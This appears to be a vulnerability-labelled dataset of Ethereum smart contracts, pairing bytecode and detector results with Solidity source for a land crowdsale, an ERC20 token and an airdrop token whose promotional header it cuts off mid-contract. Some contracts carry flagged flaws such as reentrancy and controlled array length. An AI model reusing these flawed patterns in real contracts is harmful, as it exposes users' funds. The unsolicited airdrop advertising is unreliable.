806000600860296103e7610d55565b6115da601f61138860006002602a600a610d55565b6115ef6020611d4c60006003602a6005610d55565b6116066021624c4b4060006008602a6103e7610d55565b61161b6022611d4c60006002602b6005610d55565b611631602361271060006006602b6103e8610d55565b61164960246302faf08060006008602b6103e7610d55565b61165e602561271060006003602c6005610d55565b6116736026613a9860006005602c6005610d55565b61168b60276302faf08060006008602c6103e7610d55565b6116a160286161a860006006602d612710610d55565b6116b6602961c35060006007602d6005610d55565b6116cd602a624c4b4060006008602d6103e7610d55565b565b60005433600160a060020a039081169116146116ea57600080fd5b600755565b6000838152600160205260408120805460049091015482918291829182916117188a8a8a61087e565b60008b815260016020526040902060030154611734908a61179a565b60009b8c5260016020526040909b2060050154929b919a909950975060ff90911695509350505050565b60009081526001602052604090206003015490565b60055481565b60045481565b600081815260016020526040812060030154600754610d4f91905b6000808315156117ad57600091506117c9565b508282028284828115156117bd57fe5b04146117c557fe5b8091505b5092915050565b6000828201838110156117c557fe5b60008082848115156117ed57fe5b04949350505050565b60206040519081016040526000815290565b60c0604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b610100604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a72305820490a119067f291c23be2ca56189e58c6f11a079349f04f708c6f087ff04af6350029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,219
0x2c1e693ccc537c8c98c73fac0262cd7e18a3ad60
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } /** * @title LandSale * @dev Landsale contract is a timed, refundable crowdsale for land. It has * a tiered increasing price element based on number of land sold per type. * @notice We omit a fallback function to prevent accidental sends to this contract. */ contract LandSale is Ownable { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; uint256 constant public VILLAGE_START_PRICE = 1200000000000000; // 0.0012 ETH uint256 constant public TOWN_START_PRICE = 5000000000000000; // 0.005 ETH uint256 constant public CITY_START_PRICE = 20000000000000000; // 0.02 ETH uint256 constant public VILLAGE_INCREASE_RATE = 500000000000000; // 0.0005 ETH uint256 constant public TOWN_INCREASE_RATE = 2500000000000000; // 0.0025 ETH uint256 constant public CITY_INCREASE_RATE = 12500000000000000; // 0.0125 ETH // Address where funds are collected address public wallet; // Amount of wei raised uint256 public weiRaised; // minimum amount of funds to be raised in wei uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; // Array of addresses who purchased land via their ethereum address address[] public walletUsers; uint256 public walletUserCount; // Array of users who purchased land via other method (ex. CC) bytes32[] public ccUsers; uint256 public ccUserCount; // Number of each landType sold uint256 public villagesSold; uint256 public townsSold; uint256 public citiesSold; // 0 - Plot // 1 - Village // 2 - Town // 3 - City // user wallet address -> # of land mapping (address => uint256) public addressToNumVillages; mapping (address => uint256) public addressToNumTowns; mapping (address => uint256) public addressToNumCities; // user id hash -> # of land mapping (bytes32 => uint256) public userToNumVillages; mapping (bytes32 => uint256) public userToNumTowns; mapping (bytes32 => uint256) public userToNumCities; bool private paused = false; bool public isFinalized = false; /** * @dev Send events for every purchase. Also send an event when LandSale is complete */ event LandPurchased(address indexed purchaser, uint256 value, uint8 landType, uint256 quantity); event LandPurchasedCC(bytes32 indexed userId, address indexed purchaser, uint8 landType, uint256 quantity); event Finalized(); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime && !paused); _; } /** * @dev Constructor. One-time set up of goal and opening/closing times of landsale */ function LandSale(address _wallet, uint256 _goal, uint256 _openingTime, uint256 _closingTime) public { require(_wallet != address(0)); require(_goal > 0); require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); wallet = _wallet; vault = new RefundVault(wallet); goal = _goal; openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Add new ethereum wallet users to array */ function addWalletAddress(address walletAddress) private { if ((addressToNumVillages[walletAddress] == 0) && (addressToNumTowns[walletAddress] == 0) && (addressToNumCities[walletAddress] == 0)) { // only add address to array during first land purchase walletUsers.push(msg.sender); walletUserCount++; } } /** * @dev Add new CC users to array */ function addCCUser(bytes32 user) private { if ((userToNumVillages[user] == 0) && (userToNumTowns[user] == 0) && (userToNumCities[user] == 0)) { // only add user to array during first land purchase ccUsers.push(user); ccUserCount++; } } /** * @dev Purchase a village. For bulk purchase, current price honored for all * villages purchased. */ function purchaseVillage(uint256 numVillages) payable public onlyWhileOpen { require(msg.value >= (villagePrice()*numVillages)); require(numVillages > 0); weiRaised = weiRaised.add(msg.value); villagesSold = villagesSold.add(numVillages); addWalletAddress(msg.sender); addressToNumVillages[msg.sender] = addressToNumVillages[msg.sender].add(numVillages); _forwardFunds(); LandPurchased(msg.sender, msg.value, 1, numVillages); } /** * @dev Purchase a town. For bulk purchase, current price honored for all * towns purchased. */ function purchaseTown(uint256 numTowns) payable public onlyWhileOpen { require(msg.value >= (townPrice()*numTowns)); require(numTowns > 0); weiRaised = weiRaised.add(msg.value); townsSold = townsSold.add(numTowns); addWalletAddress(msg.sender); addressToNumTowns[msg.sender] = addressToNumTowns[msg.sender].add(numTowns); _forwardFunds(); LandPurchased(msg.sender, msg.value, 2, numTowns); } /** * @dev Purchase a city. For bulk purchase, current price honored for all * cities purchased. */ function purchaseCity(uint256 numCities) payable public onlyWhileOpen { require(msg.value >= (cityPrice()*numCities)); require(numCities > 0); weiRaised = weiRaised.add(msg.value); citiesSold = citiesSold.add(numCities); addWalletAddress(msg.sender); addressToNumCities[msg.sender] = addressToNumCities[msg.sender].add(numCities); _forwardFunds(); LandPurchased(msg.sender, msg.value, 3, numCities); } /** * @dev Accounting for the CC purchases for audit purposes (no actual ETH transfer here) */ function purchaseLandWithCC(uint8 landType, bytes32 userId, uint256 num) public onlyOwner onlyWhileOpen { require(landType <= 3); require(num > 0); addCCUser(userId); if (landType == 3) { weiRaised = weiRaised.add(cityPrice()*num); citiesSold = citiesSold.add(num); userToNumCities[userId] = userToNumCities[userId].add(num); } else if (landType == 2) { weiRaised = weiRaised.add(townPrice()*num); townsSold = townsSold.add(num); userToNumTowns[userId] = userToNumTowns[userId].add(num); } else if (landType == 1) { weiRaised = weiRaised.add(villagePrice()*num); villagesSold = villagesSold.add(num); userToNumVillages[userId] = userToNumVillages[userId].add(num); } LandPurchasedCC(userId, msg.sender, landType, num); } /** * @dev Returns the current price of a village. Price raises every 10 purchases. */ function villagePrice() view public returns(uint256) { return VILLAGE_START_PRICE.add((villagesSold.div(10).mul(VILLAGE_INCREASE_RATE))); } /** * @dev Returns the current price of a town. Price raises every 10 purchases */ function townPrice() view public returns(uint256) { return TOWN_START_PRICE.add((townsSold.div(10).mul(TOWN_INCREASE_RATE))); } /** * @dev Returns the current price of a city. Price raises every 10 purchases */ function cityPrice() view public returns(uint256) { return CITY_START_PRICE.add((citiesSold.div(10).mul(CITY_INCREASE_RATE))); } /** * @dev Allows owner to pause puchases during the landsale */ function pause() onlyOwner public { paused = true; } /** * @dev Allows owner to resume puchases during the landsale */ function resume() onlyOwner public { paused = false; } /** * @dev Allows owner to check the paused status * @return Whether landsale is paused */ function isPaused () onlyOwner public view returns(bool) { return paused; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev vault finalization task, called when owner calls finalize() */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } Finalized(); isFinalized = true; } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } }
0x6060604052600436106101e95763ffffffff60e060020a600035041662fca65681146101ee57806301933c431461022057806303267c6014610245578063046f7da214610258578063073b3bf91461026d5780630fd562021461028c578063102046db146102ab5780631515bc2b146102be57806340193883146102e55780634042b66f146102f8578063471f11ec1461030b578063476d7c13146103165780634a98146a1461032c5780634b6753bc1461033f5780634bb278f3146103525780634daea42a14610365578063521eb273146103785780635986dbe41461038b5780637d3d65221461039e5780638456cb59146103b15780638d4e4083146103c45780638da5cb5b146103d75780639f04873d146103ea578063ab6ef0b1146103fd578063ac985f0a1461041c578063ad81cd901461042f578063af25988614610442578063b187bd2614610458578063b5545a3c1461046b578063b7a8807c1461047e578063c7516da714610491578063caaa2045146104a4578063cc98ff20146104c3578063d73478f8146104ce578063da74c5a1146104e4578063dfb36b0b146104f7578063e56ee3c11461050a578063f2fde38b1461051d578063fb87dc761461053c578063fbfa77cf14610552578063fe14b08514610565578063ff09ff9914610578575b600080fd5b34156101f957600080fd5b610204600435610583565b604051600160a060020a03909116815260200160405180910390f35b341561022b57600080fd5b6102336105ab565b60405190815260200160405180910390f35b341561025057600080fd5b6102336105b6565b341561026357600080fd5b61026b6105c1565b005b341561027857600080fd5b610233600160a060020a03600435166105e8565b341561029757600080fd5b610233600160a060020a03600435166105fa565b34156102b657600080fd5b61023361060c565b34156102c957600080fd5b6102d1610658565b604051901515815260200160405180910390f35b34156102f057600080fd5b610233610660565b341561030357600080fd5b610233610666565b61026b60043561066c565b341561032157600080fd5b610233600435610794565b341561033757600080fd5b6102336107a6565b341561034a57600080fd5b6102336107b1565b341561035d57600080fd5b61026b6107b7565b341561037057600080fd5b6102336108f0565b341561038357600080fd5b6102046108fb565b341561039657600080fd5b61023361090a565b34156103a957600080fd5b6102d1610910565b34156103bc57600080fd5b61026b61091b565b34156103cf57600080fd5b6102d1610945565b34156103e257600080fd5b610204610953565b34156103f557600080fd5b610233610962565b341561040857600080fd5b61026b60ff6004351660243560443561096d565b341561042757600080fd5b610233610b63565b341561043a57600080fd5b610233610b69565b341561044d57600080fd5b610233600435610b6f565b341561046357600080fd5b6102d1610b81565b341561047657600080fd5b61026b610ba7565b341561048957600080fd5b610233610c35565b341561049c57600080fd5b610233610c3b565b34156104af57600080fd5b610233600160a060020a0360043516610c46565b61026b600435610c58565b34156104d957600080fd5b610233600435610d80565b34156104ef57600080fd5b610233610d92565b341561050257600080fd5b610233610d98565b341561051557600080fd5b610233610dd2565b341561052857600080fd5b61026b600160a060020a0360043516610e0c565b341561054757600080fd5b610233600435610ea7565b341561055d57600080fd5b610204610ec6565b341561057057600080fd5b610233610ed5565b61026b600435610edb565b600780548290811061059157fe5b600091825260209091200154600160a060020a0316905081565b6611c37937e0800081565b66470de4df82000081565b60005433600160a060020a039081169116146105dc57600080fd5b6014805460ff19169055565b600e6020526000908152604090205481565b60106020526000908152604090205481565b600061065261063e6608e1bc9bf04000610632600a600c5461100390919063ffffffff16565b9063ffffffff61101816565b6611c37937e080009063ffffffff61104e16565b90505b90565b600254421190565b60055481565b60045481565b600154421015801561068057506002544211155b801561068f575060145460ff16155b151561069a57600080fd5b806106a361060c565b023410156106b057600080fd5b600081116106bd57600080fd5b6004546106d0903463ffffffff61104e16565b600455600c546106e6908263ffffffff61104e16565b600c556106f23361105d565b600160a060020a0333166000908152600f602052604090205461071b908263ffffffff61104e16565b600160a060020a0333166000908152600f602052604090205561073c611111565b33600160a060020a03167f3429a93c1c7e9dc20f84ee9cb1844c2d04d56089f7bd5d90e319db967f196dba34600284604051808481526020018360ff168152602001828152602001935050505060405180910390a250565b60136020526000908152604090205481565b66044364c5bb000081565b60025481565b60005433600160a060020a039081169116146107d257600080fd5b601454610100900460ff16156107e757600080fd5b6107ef610658565b15156107fa57600080fd5b610802610910565b1561085f57600654600160a060020a03166343d726d66040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561084657600080fd5b6102c65a03f1151561085757600080fd5b5050506108b3565b600654600160a060020a0316638c52dc416040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561089e57600080fd5b6102c65a03f115156108af57600080fd5b5050505b7f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16014805461ff001916610100179055565b6608e1bc9bf0400081565b600354600160a060020a031681565b600a5481565b600554600454101590565b60005433600160a060020a0390811691161461093657600080fd5b6014805460ff19166001179055565b601454610100900460ff1681565b600054600160a060020a031681565b6601c6bf5263400081565b60005433600160a060020a0390811691161461098857600080fd5b600154421015801561099c57506002544211155b80156109ab575060145460ff16155b15156109b657600080fd5b600360ff841611156109c757600080fd5b600081116109d457600080fd5b6109dd82611178565b8260ff1660031415610a5157610a05816109f5610dd2565b600454910263ffffffff61104e16565b600455600d54610a1b908263ffffffff61104e16565b600d55600082815260136020526040902054610a3d908263ffffffff61104e16565b600083815260136020526040902055610b15565b8260ff1660021415610ab557610a69816109f561060c565b600455600c54610a7f908263ffffffff61104e16565b600c55600082815260126020526040902054610aa1908263ffffffff61104e16565b600083815260126020526040902055610b15565b8260ff1660011415610b1557610acd816109f5610d98565b600455600b54610ae3908263ffffffff61104e16565b600b55600082815260116020526040902054610b05908263ffffffff61104e16565b6000838152601160205260409020555b600160a060020a033316827fd68c0e94b4fdc86d2c7967f5933d87744c68dcd8d9c24f9d05a9eb1981e43dc9858460405160ff909216825260208201526040908101905180910390a3505050565b600c5481565b600b5481565b60116020526000908152604090205481565b6000805433600160a060020a03908116911614610b9d57600080fd5b5060145460ff1690565b601454610100900460ff161515610bbd57600080fd5b610bc5610910565b15610bcf57600080fd5b600654600160a060020a031663fa89401a3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610c1f57600080fd5b6102c65a03f11515610c3057600080fd5b505050565b60015481565b662c68af0bb1400081565b600f6020526000908152604090205481565b6001544210158015610c6c57506002544211155b8015610c7b575060145460ff16155b1515610c8657600080fd5b80610c8f610d98565b02341015610c9c57600080fd5b60008111610ca957600080fd5b600454610cbc903463ffffffff61104e16565b600455600b54610cd2908263ffffffff61104e16565b600b55610cde3361105d565b600160a060020a0333166000908152600e6020526040902054610d07908263ffffffff61104e16565b600160a060020a0333166000908152600e6020526040902055610d28611111565b33600160a060020a03167f3429a93c1c7e9dc20f84ee9cb1844c2d04d56089f7bd5d90e319db967f196dba34600184604051808481526020018360ff168152602001828152602001935050505060405180910390a250565b60126020526000908152604090205481565b600d5481565b6000610652610dbe6601c6bf52634000610632600a600b5461100390919063ffffffff16565b66044364c5bb00009063ffffffff61104e16565b6000610652610df8662c68af0bb14000610632600a600d5461100390919063ffffffff16565b66470de4df8200009063ffffffff61104e16565b60005433600160a060020a03908116911614610e2757600080fd5b600160a060020a0381161515610e3c57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6009805482908110610eb557fe5b600091825260209091200154905081565b600654600160a060020a031681565b60085481565b6001544210158015610eef57506002544211155b8015610efe575060145460ff16155b1515610f0957600080fd5b80610f12610dd2565b02341015610f1f57600080fd5b60008111610f2c57600080fd5b600454610f3f903463ffffffff61104e16565b600455600d54610f55908263ffffffff61104e16565b600d55610f613361105d565b600160a060020a033316600090815260106020526040902054610f8a908263ffffffff61104e16565b600160a060020a033316600090815260106020526040902055610fab611111565b33600160a060020a03167f3429a93c1c7e9dc20f84ee9cb1844c2d04d56089f7bd5d90e319db967f196dba34600384604051808481526020018360ff168152602001828152602001935050505060405180910390a250565b6000818381151561101057fe5b049392505050565b60008083151561102b5760009150611047565b5082820282848281151561103b57fe5b041461104357fe5b8091505b5092915050565b60008282018381101561104357fe5b600160a060020a0381166000908152600e60205260409020541580156110995750600160a060020a0381166000908152600f6020526040902054155b80156110bb5750600160a060020a038116600090815260106020526040902054155b1561110e5760078054600181016110d283826111e7565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790556008805460010190555b50565b600654600160a060020a031663f340fa01343360405160e060020a63ffffffff8516028152600160a060020a0390911660048201526024016000604051808303818588803b151561116157600080fd5b6125ee5a03f1151561117257600080fd5b50505050565b6000818152601160205260409020541580156111a05750600081815260126020526040902054155b80156111b85750600081815260136020526040902054155b1561110e5760098054600181016111cf83826111e7565b50600091825260209091200155600a80546001019055565b815481835581811511610c3057600083815260209020610c3091810190830161065591905b80821115611220576000815560010161120c565b50905600a165627a7a72305820456e6ab48d28adbaa81b97f4cd04d673ed132ee35d19314dbdc5a4114fc49ca90029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,220
0xad5c1029fa403a43fd84ef995fa69e4ac71fbcf2
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SmartCripto Token. */ contract SmartCripto is StandardToken, Ownable { string public name = "SmartCripto"; string public symbol = "SCT"; uint public decimals = 8; string public version = "1.0"; function SmartCripto() public { totalSupply_ = 20000000 * 10 ** 8; balances[owner] = totalSupply_; } function () public { revert(); } }
0x606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610136565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017e565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101bb57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561020857600080fd5b610259826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461039d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102ec826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103ab57fe5b818303905092915050565b60008082840190508381101515156103ca57fe5b80915050929150505600a165627a7a72305820d0677258b3da83163533c283ab52301228f871f50eac3b1329431a05f4ca87270029
{"success": true, "error": null, "results": {}}
7,221
0x400b5f9890a11860d64628691f42eb73499462f0
// Congratulations! Its your free airdrop token. More about project at: https://worldwifi.io/bonus // // // DECENTRALIZED FREE WI-FI NETWORK POWERED BY BLOCKCHAIN // 基于数据块链技术分散的免费WI-FI网络 // RED WI-FI DESCENTRALIZADA GRATUITA EN BASE DE LA TECNOLOG?A BLOCKCHAIN // ブロックチェーン技術を基にした分散型無料Wi-Fiネットワーク // ДЕЦЕНТРАЛИЗОВАННАЯ БЕСПЛАТНАЯ WI-FI СЕТЬ НА ТЕХНОЛОГИИ БЛОКЧЕЙН // 블록체인 기술에 대한 분산형 무료 WI-FI 네트워크 // DEZENTRALES UND FREIES WI-FI-NETZWERK AUF DER BLOCKCHAIN-TECHNOLOGIE // MẠNG LƯỚI WI-FI MiỄN PH&#205; PH&#194;N T&#193;N VỚI C&#212;NG NGHỆ BLOCKCHAIN // //...................................................................................................... //.......?I?IIIIII??.................................................................................... //....,III7.,....,?I+................................................................................... //...,II7............OO................................................................,................ //..,?I............O8.8O................................................................................ //..?II.........,ZI?8O88O....█───█─████─████─█───████ ....█───█─███─███─███....███──████─█──█─█─█─███... //..II,......+8$,OO,OO.OO....█───█─█──█─█──█─█───█──██....█───█──█──█────█ ....█──█─█──█─██─█─█─█─█..... //..II......,....,..,........█─█─█─█──█─████─█───█──██....█─█─█──█──███──█ ....███──█──█─█─██─█─█─███... //..II.......$OD,88.O8.88....█████─█──█─█─█──█───█──██....█████──█──█────█ ....█──█─█──█─█──█─█─█───█... //..II?.........$88.O8O8O....─█─█──████─█─█──███─████ ....─█─█──███─█───███....███──████─█──█─███─███... //...?I...........ID8.O8................................................................................ //....II?........,..8OO................................................................................. //.....?III......,II8O.................................................................................. //....,..IIIIIIIIIII,................................................................................... //..........,,:,,....................................................................................... // pragma solidity 0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, 